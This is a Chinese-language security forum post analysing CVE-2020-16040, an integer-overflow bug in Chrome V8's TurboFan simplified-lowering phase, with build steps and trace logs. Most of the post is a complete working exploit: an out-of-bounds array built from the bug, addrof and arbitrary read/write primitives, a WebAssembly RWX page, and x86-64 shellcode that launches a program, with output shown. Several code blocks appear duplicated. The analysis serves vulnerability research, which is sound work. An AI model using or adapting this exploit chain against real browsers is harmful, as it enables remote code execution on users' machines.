首页
社区
课程
招聘
[原创]chrome v8漏洞CVE-2020-16040浅析
发表于: 2024-5-29 16:22 15716

[原创]chrome v8漏洞CVE-2020-16040浅析

2024-5-29 16:22
15716

作者: coolboy

CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。

turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:

representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。

执行结果如下:

解释一下:

漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:

表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:

执行结果:

原因如下:

使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:

可以看到长度确实为-1。

Analyzing CVE-2020-16040
Chrome Exploitation

# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 8.9.40
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
./out/x64.release/d8 --help
# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。
 
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
 
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
 
# 漏洞补丁前一笔提交
 
git checkout 8.9.40
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
 
# test
./out/x64.release/d8 --help
/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916
 
https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040
*/
 
var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);
 
function ftoi(val) {
  fs[0] = val;
  return is[0];
}
 
function itof(val) {
  is[0] = val;
  return fs[0];
}
 
function foo(x) {
  let y = 0x7fffffff;
 
  if (x == NaN) y = NaN;
  if (x) y = -1;
 
  let z = y + 1;          // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;               // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  z = Math.sign(z | 1);   // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
                          // [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
  z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
  let i = x ? 0 : z;      // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
  i = 0 - Math.sign(i);   // [Static type: Range(0, 1)]
                          // [Static type: Range(-1, 0)]
  // console.log(i);
  let a = new Array(i);
  a.shift();
  let b = [1.1, 2.2, 3.3];
  return [a, b];
}
 
for (let i = 0; i < 100000; i++)
  foo(true);
 
let x = foo(false);
let arr = x[0];
let oob = x[1];
 
// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();
 
arr[16] = 1337;
 
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
 
function addrof(o) {
  let a = ftoi(oob[24]) & 0xffffffffn;
  let b = ftoi(oob[12]) >> 32n;
  oob[12] = itof((b << 32n) + a);
  obj[0] = o;
  return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}
 
function read(p) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  return ftoi(flt[0]);
}
 
function write(p, x) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  flt[0] = itof(x);
}
 
let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);
 
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;
 
let rwx = read(addrof(instance) + 0x68n);
 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
 
let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);
 
write(addrof(buf) + 0x14n, rwx);
 
for (let i = 0; i < shellcode.length; i++)
  view.setUint8(i, shellcode[i]);
 
entry();
/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916
 
https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040
*/
 
var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);
 
function ftoi(val) {
  fs[0] = val;
  return is[0];
}
 
function itof(val) {
  is[0] = val;
  return fs[0];
}
 
function foo(x) {
  let y = 0x7fffffff;
 
  if (x == NaN) y = NaN;
  if (x) y = -1;
 
  let z = y + 1;          // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;               // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  z = Math.sign(z | 1);   // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
                          // [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
  z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
  let i = x ? 0 : z;      // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
  i = 0 - Math.sign(i);   // [Static type: Range(0, 1)]
                          // [Static type: Range(-1, 0)]
  // console.log(i);
  let a = new Array(i);
  a.shift();
  let b = [1.1, 2.2, 3.3];
  return [a, b];
}
 
for (let i = 0; i < 100000; i++)
  foo(true);
 
let x = foo(false);
let arr = x[0];
let oob = x[1];
 
// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();
 
arr[16] = 1337;
 
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
 
function addrof(o) {
  let a = ftoi(oob[24]) & 0xffffffffn;
  let b = ftoi(oob[12]) >> 32n;
  oob[12] = itof((b << 32n) + a);
  obj[0] = o;
  return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}
 
function read(p) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  return ftoi(flt[0]);
}
 
function write(p, x) {
  let a = ftoi(oob[12]) >> 32n;
  oob[12] = itof((a << 32n) + p - 8n + 1n);
  flt[0] = itof(x);
}
 
let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
  0x0b
]);
 
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;
 
let rwx = read(addrof(instance) + 0x68n);
 
let shellcode = new Uint8Array([
  0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
  0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
  0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
  0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
  0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
 
let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);
 
write(addrof(buf) + 0x14n, rwx);
 
for (let i = 0; i < shellcode.length; i++)
  view.setUint8(i, shellcode[i]);
 
entry();
$ ./out/x64.release/d8 poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]
$ ./out/x64.release/d8 poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is open software. For license details type:  help copyright
[Type "exit" to exit, or "help" for help.]
# ./d8 --trace-representation test.js
function foo(x) {
  let y = 0x7fffffff;       // [Static type: (Range(2147483647, 2147483647))]
 
  if (x == NaN) y = NaN;    // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge)  [Static type: (NaN | Range(2147483647, 2147483647))]
  if (x) y = -1;            // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge)  [Static type: (NaN | Range(-1, 2147483647))]
 
  let z = y + 1;            // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)  [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;                 // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge)  [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  if (z > 0) {
    // do something
  }
}
# ./d8 --trace-representation test.js
function foo(x) {
  let y = 0x7fffffff;       // [Static type: (Range(2147483647, 2147483647))]
 
  if (x == NaN) y = NaN;    // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge)  [Static type: (NaN | Range(2147483647, 2147483647))]
  if (x) y = -1;            // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge)  [Static type: (NaN | Range(-1, 2147483647))]
 
  let z = y + 1;            // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge)  [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
  z >>= 31;                 // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge)  [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
  if (z > 0) {
    // do something
  }
}
// ./d8  --trace-representation --trace-deopt test.js
x = {}
 
function foo() {
  console.log(x.v);
}
x.v = 1;
 
for (i = 0; i < 10000; i++) {
  console.log(i + ":");
  foo();
}
x.v = 2;
// ./d8  --trace-representation --trace-deopt test.js
x = {}
 
function foo() {
  console.log(x.v);
}
x.v = 1;
 
for (i = 0; i < 10000; i++) {
  console.log(i + ":");
  foo();
}
x.v = 2;
0:
1
1:
1
...
7578:
1
Marking #19: Phi as needing revisit due to #82: Call
 Marking #16: Loop as needing revisit due to #95: JSStackCheck
 Marking #22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
 visit #99: End (trunc: no-value-use)
  initial #20: no-value-use
  initial #199: no-value-use
  initial #200: no-value-use
 visit #200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
0:
1
1:
1
...
7578:
1
Marking #19: Phi as needing revisit due to #82: Call
 Marking #16: Loop as needing revisit due to #95: JSStackCheck
 Marking #22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
 visit #99: End (trunc: no-value-use)
  initial #20: no-value-use
  initial #199: no-value-use
  initial #200: no-value-use
 visit #200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                         SimplifiedLowering* lowering) {
    ...
    VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
                    Type::Signed32());
    ...
}
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
                                         SimplifiedLowering* lowering) {
    ...
    VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
                    Type::Signed32());
    ...
}
function foo(a) {
  // ./d8  --trace-representation --trace-deopt test.js
  var y = 0x7fffffff; 
 
  if (a == NaN) y = NaN;
 
  if (a) y = -1;
 
  const z = (y + 1)|0;
 
  console.log(z);
  if (z < 0) {
    console.log('< 0');
  }
  else {
    console.log('>= 0');
  }
}
 
foo(true);
foo(false);
console.log("================");
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
foo(false);
function foo(a) {
  // ./d8  --trace-representation --trace-deopt test.js
  var y = 0x7fffffff; 
 
  if (a == NaN) y = NaN;
 
  if (a) y = -1;
 
  const z = (y + 1)|0;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 8
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
能合作合作吗
2024-6-4 01:28
0
雪    币: 180
活跃值: (1313)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
执行:out/x64.debug/d8 --trace-representation test.js,没有任何输出
2024-6-5 10:19
0
雪    币: 40
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
能聊聊吗?
2024-7-26 09:05
0
游客
登录 | 注册 方可回帖
返回
//